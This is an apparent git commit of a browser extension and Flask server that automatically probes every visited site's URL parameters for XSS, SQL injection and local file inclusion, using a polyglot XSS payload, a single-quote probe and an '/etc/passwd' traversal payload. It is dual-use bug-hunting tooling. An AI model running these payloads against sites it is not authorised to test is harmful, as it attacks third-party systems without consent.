First working commit - Basic Scans and bugs :)

master
swisskyrepo 2016-12-24 17:49:26 +01:00
commit 7f9d2735da
12 changed files with 475 additions and 0 deletions

92
Plugin/background.js Normal file
View File

@ -0,0 +1,92 @@
var config_server = "http://127.0.0.1:8000";
/**
* Extract the domain from an URL
* @param string(url) - url of the target which will be shorten
*/
function extract_domain(url){
var domain;
if (url.indexOf("://") > -1) {
domain = url.split('/')[2];
}
else {
domain = url.split('/')[0];
}
//find & remove port number
return domain.split(':')[0];
}
/**
* Inspect the source code and send a request to the server for every url
*
* @param string(url) - url of the target
* @param string(deep) - deep of the target, 0 is the actual page
* @param string(impact) - aggressivity of the scan from 0 to 5
*
*/
function send_target(server, url, deep, impact){
var http = new XMLHttpRequest();
infos = server + "/?url=" + url + "&deep="+ deep + "&impact=" + impact
// Display the informations sent by the scanner
http.onreadystatechange = function() {
if (http.readyState == XMLHttpRequest.DONE) {
http_data = JSON.parse(http.responseText);
// Notifications and update local storage
if (http_data.xss != '0'){
chrome.storage.sync.get(['xss'], function(items) {
chrome.storage.sync.set({'xss': items['xss']+1})
});
new Notification('New vulnerability detected !', {
icon: 'icon.png',
body: 'XSS on '+extract_domain(unescape(url))
})();
}
if (http_data.sql != '0'){
chrome.storage.sync.get(['sql'], function(items) {
chrome.storage.sync.set({'sql': items['sql']+1})
});
new Notification('New vulnerability detected !', {
icon: 'icon.png',
body: 'SQLi on '+extract_domain(unescape(url))
})();
}
if (http_data.lfi != '0'){
chrome.storage.sync.get(['lfi'], function(items) {
chrome.storage.sync.set({'lfi': items['lfi']+1})
});
new Notification('New vulnerability detected !', {
icon: 'icon.png',
body: 'LFI on '+extract_domain(unescape(url))
})();
}
}
}
http.open("GET", infos, true);
http.send();
}
// Set a clean local storage
chrome.storage.sync.set({'xss': 0, 'sql': 0, 'lfi': 0, 'work': 1 })
// Launch a scan when the tab change
chrome.tabs.onActivated.addListener(function(activeInfo) {
chrome.tabs.get(activeInfo.tabId, function(tab){
// Handle start/stop button
chrome.storage.sync.get(['work'], function(items) {
if(items['work'] == 1){
send_target(config_server, escape(tab.url), 0, 0);
}
});
});
});

BIN
Plugin/icon.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

35
Plugin/manifest.json Normal file
View File

@ -0,0 +1,35 @@
{
"manifest_version": 2,
// Extension's informations
"name": "Damn Website Scanner",
"description": "This extension will crawl a website to check for common vulnerabilities",
"version": "1.0",
"browser_action": {
"default_icon": "icon.png",
"default_popup": "popup.html"
},
// Permissions of the extension
"permissions": [
"activeTab",
"tabs",
"notifications",
"storage"
],
// Script files
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["popup.js"]
}
],
// Background script to catch new/updated tab
"background": {
"scripts": ["background.js"]
}
}

65
Plugin/popup.html Normal file
View File

@ -0,0 +1,65 @@
<!doctype html>
<html>
<head>
<title>Damn Website Scanner</title>
<style>
body {
width: 300px;
font-family: "Segoe UI", "Lucida Grande", Tahoma, sans-serif;
font-size: 100%;
text-align: center;
}
#content{
margin-bottom: 20px;
}
#info {
text-align: left;
}
#stop,#export{
width: 100px;
padding: 8px;
display: inline-block;
margin: 0 auto;
border-radius: 5px;
text-decoration: none;
text-transform: uppercase;
text-align: center;
color: white;
background-image: -webkit-linear-gradient(top,#EA464A,#D43C40);
font-family: arial;
font-weight: bold;
line-height: 30px;
box-shadow: 0px 2px 0px #553634, 0px 3px 3px #888;
}
#export{
background-image: -webkit-linear-gradient(top,#00BFA5,#26A69A);
}
#debug{
margin-top: 20px;
}
</style>
<script src="popup.js"></script>
</head>
<body>
<h3>Damn Website Scanner</h3>
<div id="content">
<span id='url'><a href='http://example.com'>http://limited.url</a></span>
<ul id="info">
<li><span id='xss'>0 Cross Site Scripting</span></li>
<li><span id='sql'>0 Injection SQL</span></li>
<li><span id='lfi'>0 Local File Inclusion</span></li>
</ul>
<span id='total'>Total : 0 vulnerability found</span>
</div>
<!-- Used only to display debug informations-->
<a href='#stop' id='stop'>STOP</a>
<a href='#export' id='export'>EXPORT</a>
<div id='debug'><span id='status'>Status Server</span></div>
</body>
</html>

130
Plugin/popup.js Normal file
View File

@ -0,0 +1,130 @@
var config_server = "http://127.0.0.1:8000";
/**
* Get the current tab.
* @param {function(string)} callback - called when the tab is found.
*/
function getCurrentTab(callback) {
// Query filter to be passed to chrome.tabs.query - see
// https://developer.chrome.com/extensions/tabs#method-query
var queryInfo = {
active: true,
currentWindow: true
};
chrome.tabs.query(queryInfo, function(tabs) {
// chrome.tabs.query invokes the callback with a list of tabs that match the
// query. When the popup is opened, there is certainly a window and at least
// one tab, so we can safely assume that |tabs| is a non-empty array.
// A window can only have one active tab at a time, so the array consists of
// exactly one tab.
var tab = tabs[0];
// A tab is a plain object that provides information about the tab.
// See https://developer.chrome.com/extensions/tabs#type-Tab
var url = tab.url;
// tab.url is only available if the "activeTab" permission is declared.
// If you want to see the URL of other tabs (e.g. after removing active:true
// from |queryInfo|), then the "tabs" permission is required to see their
// "url" properties.
console.assert(typeof url == 'string', 'tab.url should be a string');
callback(tab);
});
}
/**
* Extract the domain from an URL
* @param string(url) - url of the target which will be shorten
*/
function extract_domain(url){
var domain;
if (url.indexOf("://") > -1) {
domain = url.split('/')[2];
}
else {
domain = url.split('/')[0];
}
//find & remove port number
return domain.split(':')[0];
}
/**
* Return the status of the server
*/
function status_server(config_server){
// Create a new HTTP request
var http = new XMLHttpRequest();
http.onreadystatechange = function() {
if (http.readyState == XMLHttpRequest.DONE) {
// If the server is up it responds with "pong"
if("pong" == http.responseText){
document.getElementById('status').textContent = "Server is UP !";
document.getElementById('status').style = "color:green";
}
else{
document.getElementById('status').textContent = "Server is DOWN !";
document.getElementById('status').style = "color:red";
}
}
}
http.open("GET", config_server+"/ping", true);
http.send();
}
/**
* Plugin form - Update and display the informations
*/
document.addEventListener('DOMContentLoaded', function() {
getCurrentTab(function(tab) {
// Display local storage
chrome.storage.sync.get(['xss','sql','lfi'], function(items) {
document.getElementById("xss").textContent = items['xss'] + " Cross Site Scripting";
document.getElementById("sql").textContent = items['sql'] + " Injection SQL";
document.getElementById("lfi").textContent = items['lfi'] + " Local File Inclusion";
document.getElementById("total").textContent = "Total : "+ (items['lfi']+items['xss']+items['sql']) +" vulnerability found";
});
// Display infos (URL - Server's availability)
document.getElementById('url').textContent = 'Inspecting : ' + extract_domain(tab.url);
status_server(config_server);
// Start or Stop the extension
document.getElementById("stop").addEventListener('click', () => {
if(document.getElementById("stop").textContent == "STOP"){
document.getElementById("stop").textContent = "START";
document.getElementById("stop").style = "background-image: -webkit-linear-gradient(top,#99EA46,#71D43C);";
chrome.storage.sync.set({'work': 0});
}
else{
document.getElementById("stop").textContent = "STOP";
document.getElementById("stop").style = "background-image: -webkit-linear-gradient(top,#EA464A,#D43C40);";
chrome.storage.sync.set({'work': 1});
}
});
// Second button ...
document.getElementById("export").addEventListener('click', () => {
function confirmation() {
//document.getElementById("debug").textContent = http_data.list;
alert('Not available yet..')
}
chrome.tabs.executeScript({code: '(' + confirmation + ')();'}, (results) => {
document.getElementById('status').textContent = results[0];
});
});
});
});

48
README.md Executable file
View File

@ -0,0 +1,48 @@
# Damn Web Scanner
Another web vulnerabilities scanner, this extension works on Chrome and Opera
The extension is working in the background and will notify you if it finds any vulnerability
Currently it scans for:
- SQL Injection
- Cross Site Scripting
- Local File Inclusion
**Warning 1 :** Do not use this extension for illegal purpose, the main goal of it is to simplify the life of bug hunters.
**Warning 2 :** It's a BETA version, many improvements will come don't worry
## New features
- Detect if the server is up
- Start/Stop button
## TODO
- Get vuln list in localstorage (list)
- ScanSQLTime/ScanSQLUnion
- Should detect and work with POST requests
- Export function for vulnerabilities
- Add some functions from https://sergeybelove.ru/one-button-scan/result/3004e0b978f19e58e3239087d119742779e1efbc/
- Deep and impact : args['url'],args['deep'],args['impact']
- Improve XSS vector - should work in JS context and onxxxx context: ">><marquee><img src=x onerror=alert(1)></marquee>" ></textarea\></|\><details/open/ontoggle=confirm`1` ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->" ></script><sCrIpt>alert(1)</scRipt>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>\'"><svg onload=alert`1`><!--
## Install
You need to install and configure the server, it uses ghost and flask with gunicorn
```
pip install requests
pip install flask
pip install pyside
pip install ghost.py --pre
pip install gunicorn
sudo apt-get install gunicorn
```
If you have any trouble with Ghost you should have a look to the documentation : http://ghost-py.readthedocs.org/en/latest/
1. The extension isn't packed, to use it go to chrome://extensions or opera://extensions then select "Load unpacked extension"
2. Don't forget to launch the server
```
chmod +x ./launch
./launch
```
3. Edit the server configuration in popup.js and background.js with your server's informations
```
var config_server = "http://127.0.0.1:8000";
```
4. Browse the internet !

BIN
Screens/SQLi.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

BIN
Screens/ServerUP.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

BIN
Screens/XSS1.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

1
Server/launch.sh Executable file
View File

@ -0,0 +1 @@
gunicorn --workers=3 server:app

104
Server/server.py Normal file
View File

@ -0,0 +1,104 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from ghost import Ghost
import requests
import re
app = Flask(__name__)
firefox = Ghost()
"""scan_xss
Description: inject a polyglot vector for XSS in every parameter, then it checks if an alert was triggered
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
"""
def scan_xss(vulns, url, fuzz):
payload = ' ">><marquee><img src=x onerror=alert(1)></marquee>" ></textarea\></|\><details/open/ontoggle=confirm`1` ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->" ></script><sCrIpt>alert(1)</scRipt>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>\'"><svg onload=alert`1`><!--'
try:
with firefox.start() as session:
# Send GET XSS
inject = url.replace(fuzz+"=", fuzz+"="+payload)
page, extra_resources = session.open(inject)
result, resources = session.wait_for_alert(1)
# Detect XSS result with an alert
if result == '1':
print "\t\t\033[93mXSS Detected \033[0m for ", fuzz, " with the payload :", payload
vulns['xss'] += 1
vulns['list'] += inject+'|DELIMITER|'
else:
print "\t\t\033[94mXSS Failed \033[0m for ", fuzz, " with the payload :", payload
except Exception, e:
print "\t\t\033[94mXSS Failed \033[0m for ", fuzz, " with the payload :", payload
"""scan_sql
Description: use a single quote to generate a SQL error in the page
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
"""
def scan_sql(vulns, url, fuzz):
payload = "'"
inject = url.replace(fuzz+"=", fuzz+"="+payload)
content = requests.get(inject).text
if "Warning: SQLite3:" in content or "You have an error in your SQL syntax" in content:
print "\t\t\033[93mSQLi Detected \033[0m for ", fuzz, " with the payload :", payload
vulns['sql'] += 1
vulns['list'] += inject+'|DELIMITER|'
else:
print "\t\t\033[94mSQLi Failed \033[0m for ", fuzz, " with the payload :", payload
"""scan_lfi
Description: will scan every parameter for LFI, checking for the common root:x:0:0
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
"""
def scan_lfi(vulns, url, fuzz):
payload = "/etc/passwd"
inject = re.sub(fuzz+"="+"(.[^&]*)", fuzz+"="+payload , url)
content = requests.get(inject).text
if "root:x:0:0:root:/root:/bin/bash" in content:
print "\t\t\033[93mLFI Detected \033[0m for ", fuzz, " with the payload :", payload
vulns['lfi'] += 1
vulns['list'] += inject+'|DELIMITER|'
else:
print "\t\t\033[94mLFI Failed \033[0m for ", fuzz, " with the payload :", payload, inject
""" Route /ping
Description: Simple ping implementation to check if the server is up via the extension
"""
@app.route('/ping',methods=['GET'])
def ping():
return "pong"
""" Route /
Description: main route for the flask application, every scan is launched from here
"""
@app.route('/',methods=['GET'])
def index():
vulns = {'xss': 0, 'sql': 0, 'lfi': 0, 'list':''}
# Parse requests - extract arguments
args = request.args
url = args['url']
if "?" in url:
params = url.split('?')[1]
regex = re.compile('([a-zA-Z0-9\-_]*?)=')
matches = regex.findall(params)
# Launch scans
for fuzz in matches:
scan_xss(vulns, url, fuzz)
scan_sql(vulns, url, fuzz)
scan_lfi(vulns, url, fuzz)
# Display results as a json
return jsonify(vulns)
if __name__ == '__main__':
app.run(port=8000, threaded=True, passthrough_errors=False)

BIN
Server/server.pyc Normal file

Binary file not shown.